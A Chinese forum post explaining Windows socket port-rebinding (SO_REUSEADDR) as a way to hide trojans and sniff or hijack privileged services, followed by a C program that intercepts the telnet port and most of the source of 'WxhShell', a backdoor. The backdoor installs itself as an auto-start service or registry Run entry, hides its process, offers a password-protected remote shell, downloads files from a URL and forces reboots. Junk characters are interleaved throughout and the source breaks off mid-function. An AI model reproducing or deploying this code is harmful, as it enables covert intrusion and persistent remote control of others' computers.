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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Jq"3xj   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #y"LFoJn  
BbCW3!(  
  saddr.sin_family = AF_INET; YuHXm3[  
:}q)]W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M<= e~';H  
(]?M=?0\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  6cjCn  
LEN=pqGJ.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3me&isKL  
6~>h;wC  
  这意味着什么?意味着可以进行如下的攻击: o*E32#l  
> Xij+tt{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Hj1?c,mo4  
j%ZBAk)}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eNH9`Aa  
#}Xsi&:XU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y~*aA&D  
*2.h*y'u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]R!YRu  
u] G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `SZ-o{  
r? }|W2^%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eA``fpr  
!,Cbb }  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 " o 3Hd  
A42!%>PB  
  #include ']sj W'~  
  #include r}(mjC"o  
  #include e%)MIAS0  
  #include    FI$ -."F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B\aVE|~PB  
  int main() CbxWK#aMmB  
  { u(hJyo}  
  WORD wVersionRequested; $*:$-  
  DWORD ret; q<^MC/]  
  WSADATA wsaData; 9; 9ge  
  BOOL val; g HxRw  
  SOCKADDR_IN saddr; X f;R'a,$  
  SOCKADDR_IN scaddr; k}qCkm27  
  int err; sk:B; .z  
  SOCKET s; 4hfq7kq7(  
  SOCKET sc; O~?d;.b  
  int caddsize; zTPNQ0=|  
  HANDLE mt; P0sAq7"  
  DWORD tid;   .r-Zz3  
  wVersionRequested = MAKEWORD( 2, 2 ); "j_cI-@6  
  err = WSAStartup( wVersionRequested, &wsaData ); 1D!MXYgm1b  
  if ( err != 0 ) { @)!N{x?  
  printf("error!WSAStartup failed!\n"); 3xdJ<Lrq  
  return -1; '.gi@Sr5  
  } pp{p4Z   
  saddr.sin_family = AF_INET; V[Sj+&e&  
   a2]ZYY`R7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %] :ZAmN  
_7qa~7?f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RE D@|[Qh  
  saddr.sin_port = htons(23); H4T~Kv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MZWv#;.]  
  { 8^_e>q*W  
  printf("error!socket failed!\n"); fz8 41 <Y  
  return -1; B~@Gfb>`'  
  } .A_R6~::  
  val = TRUE;  T-+ uQ3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'n\PS,[1R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vl+bc[ i~  
  { L(k`1E  
  printf("error!setsockopt failed!\n"); =:6B`,~C  
  return -1; 4pelIoj  
  } ^K4?uABc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yh|+Usa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9:=:P>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3^$=XrD  
tJ8:S@E3,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $b7@S`5  
  { })?-)fFD  
  ret=GetLastError(); f#7=N{wm  
  printf("error!bind failed!\n"); S,avvY.U\  
  return -1; {gD`yoPrV  
  } q"S,<I<f  
  listen(s,2); E`C !q X>  
  while(1) Oz&*A/si+3  
  { Tdz#,]Q   
  caddsize = sizeof(scaddr); knpdECq&k  
  //接受连接请求 ~v:IgS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?| 6sTu!  
  if(sc!=INVALID_SOCKET) -okq= 9  
  { *DZ7,$LQ~D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \}Iq-Je   
  if(mt==NULL) &h!O<'*2  
  { Dbq/t^  
  printf("Thread Creat Failed!\n"); Zw'050~-  
  break; agkKm?xIL  
  } "Y4glomR[  
  } Z#^|h0  
  CloseHandle(mt); [ gZR}E  
  } &#gh :5  
  closesocket(s); J6>tGKa+e  
  WSACleanup(); _%\%  
  return 0; cnw+^8  
  }   ?Pf#~U_  
  DWORD WINAPI ClientThread(LPVOID lpParam) c9c3o{(6Y  
  { "!eq~/nk  
  SOCKET ss = (SOCKET)lpParam; `CBXz!v!O  
  SOCKET sc; o61rTj  
  unsigned char buf[4096]; Qgv g*KX  
  SOCKADDR_IN saddr; D/;[x{;E  
  long num; hn/yX|4c(  
  DWORD val; &@BAVc z  
  DWORD ret; Ai^0{kF6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f5{|_]q]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <r>Sj /w<D  
  saddr.sin_family = AF_INET; WiQVZ {  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o1*P|.`  
  saddr.sin_port = htons(23); Aho*E9VW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \DBEs02  
  { fOdqr  
  printf("error!socket failed!\n"); }QQ 7jE  
  return -1; $d4&H/u^  
  } ^K_FGE0ec  
  val = 100; /(u? k%Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VZ">vIRyi|  
  { ]l+<-  
  ret = GetLastError(); n\<7`,  
  return -1; ,S<) )  
  } s16, *;Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qnt9x,1m_  
  { #Q-#7|0&  
  ret = GetLastError(); /`nkz  
  return -1; ]>*VEe}hJ  
  } piuM#+Y\'S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'O.f}m SS  
  { & BY\h:  
  printf("error!socket connect failed!\n"); .jC5 y&  
  closesocket(sc); kt\,$.v8  
  closesocket(ss); EA9.?F  
  return -1; euRKYGW  
  } W\5 -Yg(@  
  while(1) mpVD;)?JmM  
  { G`Z<a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3;wiwN'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N`3^:EJL8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mO(Y>|mm  
  num = recv(ss,buf,4096,0); ;(;~yB|NZ5  
  if(num>0) TA:uB[Ji  
  send(sc,buf,num,0); +{m+aHk  
  else if(num==0) fE&s 6w&  
  break; nt-_)4Fm  
  num = recv(sc,buf,4096,0); r:E4Wi{\  
  if(num>0) P/^@t+KC  
  send(ss,buf,num,0); 6BEpnw>p(  
  else if(num==0) oOAkwc%)b  
  break; a\oz-`ESa  
  } c#1kg@q@  
  closesocket(ss); (!J;g|58  
  closesocket(sc); ^8]7  
  return 0 ; :F#^Q%-IS  
  } Q-#<{' (  
#h U4gX,  
3/uvw>$  
========================================================== LHu  
5JK'2J&  
下边附上一个代码,,WXhSHELL %g89eaEZ  
B!8X?8D  
========================================================== eH!V%dX  
{D :WXvI  
#include "stdafx.h" 2QEH!)lvr  
|%fNLUJ)  
#include <stdio.h> V"2 G  
#include <string.h> +RR6gAma}<  
#include <windows.h> :RJo#ape  
#include <winsock2.h> 72J=_d>+  
#include <winsvc.h> Qy}pn=#Q  
#include <urlmon.h> i+< v7?:`#  
WPlf8* -fQ  
#pragma comment (lib, "Ws2_32.lib") /vi Ic %=  
#pragma comment (lib, "urlmon.lib") ~Cw7.NA{3  
A{k1MA<F6  
#define MAX_USER   100 // 最大客户端连接数 < 3*q) VT  
#define BUF_SOCK   200 // sock buffer S')DAx  
#define KEY_BUFF   255 // 输入 buffer UJ%.KU%Q}  
6#K.n&=*  
#define REBOOT     0   // 重启 d#$Pf=}  
#define SHUTDOWN   1   // 关机 5L~lF8  
7+@-mJMP$D  
#define DEF_PORT   5000 // 监听端口 &2[Xu4*  
1OMaY5F  
#define REG_LEN     16   // 注册表键长度 N#)Klq87z  
#define SVC_LEN     80   // NT服务名长度 2_o\Wor#  
9) $[W  
// 从dll定义API X&5N 89  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q=vo5)t   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); br 3-.g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ycki0&n3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P2iuB|B@  
P$N5j~*  
// wxhshell配置信息 /-m)  
struct WSCFG { c;-N RvVb  
  int ws_port;         // 监听端口 *B{]  
  char ws_passstr[REG_LEN]; // 口令 "lC>_A  
  int ws_autoins;       // 安装标记, 1=yes 0=no "Ms{c=XPK  
  char ws_regname[REG_LEN]; // 注册表键名 j)@{_tv6;  
  char ws_svcname[REG_LEN]; // 服务名 ;;XY&J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9^N(s7s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s|c}9/Xe)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hg8 4\fA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bj 8pqw|;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z7L+wNYwg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w9RBT(u  
&+ PVY>q  
}; %H&WihQ  
Y8IC4:EO  
// default Wxhshell configuration J|be'V#]1  
struct WSCFG wscfg={DEF_PORT, #902x*Z'c"  
    "xuhuanlingzhe", [q_62[-X  
    1, /L@o.[H  
    "Wxhshell", re#]zc<  
    "Wxhshell", V*(x@pF  
            "WxhShell Service", =ud~  
    "Wrsky Windows CmdShell Service", %hZX XpuO  
    "Please Input Your Password: ", k q?:<!z  
  1, G/fBeK$.  
  "http://www.wrsky.com/wxhshell.exe", uV@' 898%5  
  "Wxhshell.exe" yD.(j*bMK;  
    }; M6qNh`+HO  
G,^ ?qbHg  
// 消息定义模块 m^m=/'<+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LikCIO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :V#xrH8R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5WxNH}{  
char *msg_ws_ext="\n\rExit."; (a-Lx2T  
char *msg_ws_end="\n\rQuit."; qp#Euq6  
char *msg_ws_boot="\n\rReboot..."; O0`ofFN  
char *msg_ws_poff="\n\rShutdown..."; AFvv+ ss  
char *msg_ws_down="\n\rSave to "; 77aUuP7Iw  
n_LK8  
char *msg_ws_err="\n\rErr!"; TvT>UBqj=  
char *msg_ws_ok="\n\rOK!"; ZU.E}Rn:  
Bz>f  
char ExeFile[MAX_PATH]; qvGm JN0  
int nUser = 0; COw!a\Jl  
HANDLE handles[MAX_USER]; 0Bkz)4R  
int OsIsNt; 'Z9UqEGV  
a MFUj+^  
SERVICE_STATUS       serviceStatus; n c~JAT# '  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :AqtPV'  
DrAIQ7Jd  
// 函数声明 aj .7t =^  
int Install(void); -a~n_Z>_  
int Uninstall(void); ,D(Bg9C  
int DownloadFile(char *sURL, SOCKET wsh); q(hBqUW  
int Boot(int flag); 9kqR-T|Q  
void HideProc(void); \dE{[^.5  
int GetOsVer(void); OK`^DIr5l  
int Wxhshell(SOCKET wsl); #r?[@aJ  
void TalkWithClient(void *cs); P ecZuv  
int CmdShell(SOCKET sock); PU1YR;[Fe  
int StartFromService(void); F6Q%<p a  
int StartWxhshell(LPSTR lpCmdLine); 8'TIDu  
8f)pf$v`   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -wl&~}%M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dV'^K%#  
K]M@t=  
// 数据结构和表定义 /?XI,#j3kM  
SERVICE_TABLE_ENTRY DispatchTable[] = \Zx&J.D  
{ EL z5P}L6  
{wscfg.ws_svcname, NTServiceMain}, Ars*H,9>e  
{NULL, NULL} }0@@_Y]CC  
}; s?->2gxhx  
i1KjQ1\a+  
// 自我安装 S# baOO  
int Install(void) P0hr=/h4  
{ *kTp(*K/7`  
  char svExeFile[MAX_PATH]; ~7g$T Ae{  
  HKEY key; 8Exky^OT|  
  strcpy(svExeFile,ExeFile); ?@FqlWz,  
EK0~ 3HSZ  
// 如果是win9x系统,修改注册表设为自启动 V\r{6-%XiW  
if(!OsIsNt) { 4t/?b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r%X M`;bQX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W7_m,{q  
  RegCloseKey(key); l. l)w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EowzEGq!a5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _!Tjb^  
  RegCloseKey(key); <Uf`'X\e6  
  return 0; >mJ`904L  
    } 'X6Y!VDd  
  } JgKhrDx  
} Df*<3G  
else { KQ81Oxu*C  
d=uGB"  
// 如果是NT以上系统,安装为系统服务 C|w<mryx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H`URJ8k$Q  
if (schSCManager!=0) 0_+ & [g}  
{ :~srl)|)  
  SC_HANDLE schService = CreateService 3Zyv X]@_  
  ( yuJ>xsM  
  schSCManager, ' ;nG4+K  
  wscfg.ws_svcname, o.Y6(o  
  wscfg.ws_svcdisp, CH| cK8q  
  SERVICE_ALL_ACCESS, NW3qs`$-(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8+".r2*_iO  
  SERVICE_AUTO_START, \awkt!Wa  
  SERVICE_ERROR_NORMAL, -Q?c'e  
  svExeFile, 0a<h,s0"2  
  NULL, D Y4!RjJ47  
  NULL, Gx}`_[-  
  NULL, zOFHdd ,"g  
  NULL, n|DMj[uT  
  NULL Yh@2m9  
  ); A8ef=ljM?  
  if (schService!=0) k4u/v n`&r  
  { _29wQn@]  
  CloseServiceHandle(schService); "XLtrAu{  
  CloseServiceHandle(schSCManager); ~%M*@ fm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); shy[>\w  
  strcat(svExeFile,wscfg.ws_svcname); GQd[7j[sh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wpi$-i`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P6ktA-Hv>  
  RegCloseKey(key); LayK&RwL  
  return 0; }YM\IPsPu  
    } e<a*@ P,  
  } :& :P4Y1 E  
  CloseServiceHandle(schSCManager); d]^m^  
} _~C1M&b(X3  
} $o\z4_I  
y&O?`"Uv/M  
return 1; AL,7rYZG$  
} IEP|j;~*  
d8+@K&z|  
// 自我卸载 dKU :\y  
int Uninstall(void) N81M9#,["~  
{ I^u~r.  
  HKEY key; Kr1Y3[iNv  
`#8kJt  
if(!OsIsNt) { l Ib d9F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =&9c5"V&  
  RegDeleteValue(key,wscfg.ws_regname); |pG0 .p4  
  RegCloseKey(key); <%m1+%mA.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p9u'nDi  
  RegDeleteValue(key,wscfg.ws_regname); ANM=:EtP  
  RegCloseKey(key); /QVwZrch  
  return 0; &nI>`Q'  
  } Qo^(r$BD  
} 3tJfh=r=1  
} !~R<Il|B  
else { !.t D.(XP  
2QAP$f0Ln  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #-+Q]}fB4  
if (schSCManager!=0) yZgWFf.X  
{ EStui>ho  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xDH#K0-#L  
  if (schService!=0) w{k^O7~  
  { JsuI&v  
  if(DeleteService(schService)!=0) { Z[] 8X@IPe  
  CloseServiceHandle(schService); zF>;7'\x  
  CloseServiceHandle(schSCManager); B]()  
  return 0; |mRlP5  
  } |j9aTv[`  
  CloseServiceHandle(schService); -\;0gnf{J  
  } qq<T~^  
  CloseServiceHandle(schSCManager); (U# Oj"  
} 5p:BHw;%;  
} IpSWg  
4KR`  
return 1; )1Y?S;  
} lz<' L. .  
Ev7v,7`z  
// 从指定url下载文件 (jj`}Qe3U  
int DownloadFile(char *sURL, SOCKET wsh) bolG3Tf|  
{ 9\WtcLx  
  HRESULT hr; t1J3'lS  
char seps[]= "/"; i\b^}m8c.N  
char *token; 8Yf*vp>T/x  
char *file; (s&]V49  
char myURL[MAX_PATH]; OPjNmdeS  
char myFILE[MAX_PATH]; DmPsE6G}  
pOn&D  
strcpy(myURL,sURL); dW!El^w}  
  token=strtok(myURL,seps); "M[&4'OM  
  while(token!=NULL) zp}pS2DU  
  { ]adgOlM  
    file=token; ry=8Oq&[~  
  token=strtok(NULL,seps); L*,h=#x(  
  } 8]b;l; W5  
6_u!{  
GetCurrentDirectory(MAX_PATH,myFILE); 7qUg~GJX  
strcat(myFILE, "\\"); rTVv6:L  
strcat(myFILE, file); ZN;ondp4  
  send(wsh,myFILE,strlen(myFILE),0); ISFNP&& K  
send(wsh,"...",3,0); esBv,b?*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [r3sk24  
  if(hr==S_OK) Eri007?D  
return 0; $%"hhju  
else N"G\ H<n  
return 1; r6 3l(  
fpC":EX@r  
} k+P3z&e  
(hZNWQ0  
// 系统电源模块 s5mJ -  
int Boot(int flag) 3F!)7  
{ *c/V('D/  
  HANDLE hToken; m;{HlDez  
  TOKEN_PRIVILEGES tkp; $MwBt  
fmQif]J;;  
  if(OsIsNt) { hE`d@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #\^=3A|b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K\;4;6 g  
    tkp.PrivilegeCount = 1; 7.ein:M|CB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V59!}kel1%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Db*b"/]  
if(flag==REBOOT) { Y,}h{*9Kd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cNmAr8^}  
  return 0; quaRVD>s +  
} JeNX5bXW  
else { % 33O)<?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pt3)yj&XE  
  return 0; DeNWh2  
} Fv %@k{  
  } ?6&G:Uz/  
  else { KGo^>us  
if(flag==REBOOT) { 8,[ *BgeX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .JB1#&B +  
  return 0; F*Hovxez  
} <X4f2z{T{@  
else { H!X*29nX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W5Pur lu?  
  return 0; HpIi-Es7C  
} ILH[q>  
} 8N9,HNBT$  
mk!8>XvM  
return 1; w42{)S"  
} SC4jKm2  
sH2xkUp  
// win9x进程隐藏模块 XP%_|Q2X  
void HideProc(void) 7_qsVhh]$E  
{ |ZifrkD=  
VWK/(>TP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CL7 /J[TS  
  if ( hKernel != NULL ) ;y@zvec4  
  { kJOZ;X=9/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m,q)lbRl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }wv Rs5;o  
    FreeLibrary(hKernel); Gsy>"T{CY  
  } |IzL4>m:;  
L / WRVc6  
return; iM:-750n/  
} G:lhrT{  
ps,Kj3^T<  
// 获取操作系统版本 zZRLFfz<9  
int GetOsVer(void) {c LWum[SY  
{ Viw,YkC  
  OSVERSIONINFO winfo; <b _K*]Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sg}<()  
  GetVersionEx(&winfo); ,%xat`d3,3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N2[jBy8M  
  return 1; bDh4p]lm  
  else C Q iHk  
  return 0; }93FWo.  
} eX"Ecl{  
z@\mn  
// 客户端句柄模块 vShB26b  
int Wxhshell(SOCKET wsl) Z"w}`&TC$^  
{ ,98 F  
  SOCKET wsh; o_Y?s+~i[/  
  struct sockaddr_in client; VZ`YbY  
  DWORD myID; tS3&&t  
I/A%3i=H  
  while(nUser<MAX_USER) g5Io=e@s  
{ !- QB>`7$  
  int nSize=sizeof(client); 0k?]~ f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y`-q[F?\y  
  if(wsh==INVALID_SOCKET) return 1; ]|w~{X!b4  
7zE1>.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m zoH$@  
if(handles[nUser]==0) =X[?d/[  
  closesocket(wsh); !XI9evJw  
else s!D2s2b9e  
  nUser++; fQ!W)>mi  
  } R N@)nc_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xg_l4!T_l  
iY2q^z/S  
  return 0; q^wSM  
} Hi~)C\  
G@jx&#v  
// 关闭 socket 4Jc~I  
void CloseIt(SOCKET wsh) Bt$,=k  
{ _<c}iZv@  
closesocket(wsh); pMViq0  
nUser--; Q7v1xBM  
ExitThread(0); iRG6Cw2  
} RX?!MDO  
3%o}3.P,:@  
// 客户端请求句柄 Lp|n)29+du  
void TalkWithClient(void *cs) T9r6,yY  
{ \?8q&o1=]  
p^ROt'eQ<  
  SOCKET wsh=(SOCKET)cs; 3jJV5J'"  
  char pwd[SVC_LEN]; k6z]"[yu  
  char cmd[KEY_BUFF]; \k=%G_W  
char chr[1]; j)iUg03>/4  
int i,j; \ /Q~C!  
?g@X+!RB  
  while (nUser < MAX_USER) { =<aFkBX-  
u =~`5vA  
if(wscfg.ws_passstr) { E1Q#@*rX>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); })uyq_nz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t&5Ne ?  
  //ZeroMemory(pwd,KEY_BUFF); ?-`&YfF  
      i=0; d >zC[]1  
  while(i<SVC_LEN) { ""N~##)8  
0/7.RpX,.  
  // 设置超时 u` (yT<>H  
  fd_set FdRead; $*_79F2zN  
  struct timeval TimeOut; Ks(l :oUB  
  FD_ZERO(&FdRead); gy|o#&e]%  
  FD_SET(wsh,&FdRead); Wk/Q~ o  
  TimeOut.tv_sec=8; ]uh/!\  
  TimeOut.tv_usec=0; 3N2d@R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DOkuT/+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w6mYLK%  
ZzR0k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y[S9b (:+  
  pwd=chr[0]; yqtHlz%  
  if(chr[0]==0xd || chr[0]==0xa) { aAn p7\7  
  pwd=0; 017nhI  
  break; b~YIaD[Z  
  } U-,s/VQ?  
  i++; ,->5 sJ{U  
    } N;>s|ET  
" L,9.b  
  // 如果是非法用户,关闭 socket q%vel.L]%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4,Uqcw?!F'  
} {36N=A  
[4dX[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?`kZ6$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ; }ThBb3  
z" ?WT$  
while(1) {  ]EQ*!  
o :4#Ak S  
  ZeroMemory(cmd,KEY_BUFF); ICe;p V  
\GioSg  
      // 自动支持客户端 telnet标准   U^)`_\/;?  
  j=0; 10m|?  
  while(j<KEY_BUFF) { }m Ub1b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h>!9N dzG  
  cmd[j]=chr[0]; UYW'pV  
  if(chr[0]==0xa || chr[0]==0xd) { e$`hRZ%  
  cmd[j]=0; plJUQk  
  break; r/P}j4)b7  
  } `@0AGSzUv  
  j++; }&6:0l$4!  
    } hK{<&T  
fuF{8-ua  
  // 下载文件 rp[3?-fk  
  if(strstr(cmd,"http://")) { QX=x^(M$m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yO7#n0q  
  if(DownloadFile(cmd,wsh)) :c8d([)$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z^_zcH'  
  else ,]n~j-X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0&2`)W?9  
  } p_EM/jI,  
  else { A McZm0c`  
a <F2]H=J  
    switch(cmd[0]) { 0B}2~}#  
  0O]v|  
  // 帮助 ;, \!&o6  
  case '?': { "oF)u1_?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =1 S%E  
    break; Wa&!1' @  
  } ub`zS-vb  
  // 安装 Jm< uE]9  
  case 'i': { jPZpJ:  
    if(Install()) aS\$@41"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tB(~:"|8  
    else puMb B9)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iY&I?o!Ch  
    break; /Ah&d@b  
    } ^kz(/c/?  
  // 卸载 L$kB(Brw  
  case 'r': { SZR`uS  
    if(Uninstall()) vEGI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |z:4T%ES  
    else {c*5 )x!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CHD.b%_|  
    break; A&WC})H5  
    } T"gk^.  
  // 显示 wxhshell 所在路径 a1_o  
  case 'p': { 6Q_A-X3hk  
    char svExeFile[MAX_PATH]; ev_'.t'  
    strcpy(svExeFile,"\n\r"); Q[|*P ] w  
      strcat(svExeFile,ExeFile); H3ovF  
        send(wsh,svExeFile,strlen(svExeFile),0); ;G3?Sa7+  
    break; s2 :Vm\  
    } x.] tGS  
  // 重启 &"hEKIqL  
  case 'b': { x7G*xHJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #V#!@@c;?  
    if(Boot(REBOOT)) wQ@:0GJH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z{yH:{Vk  
    else { 0\@oqw]6hv  
    closesocket(wsh); ijzwct#.  
    ExitThread(0); gxAy{ t  
    } b`=g#B|  
    break; 6qT-  
    } rK:cUW0]X  
  // 关机 y=EVpd  
  case 'd': { UEfY'%x  
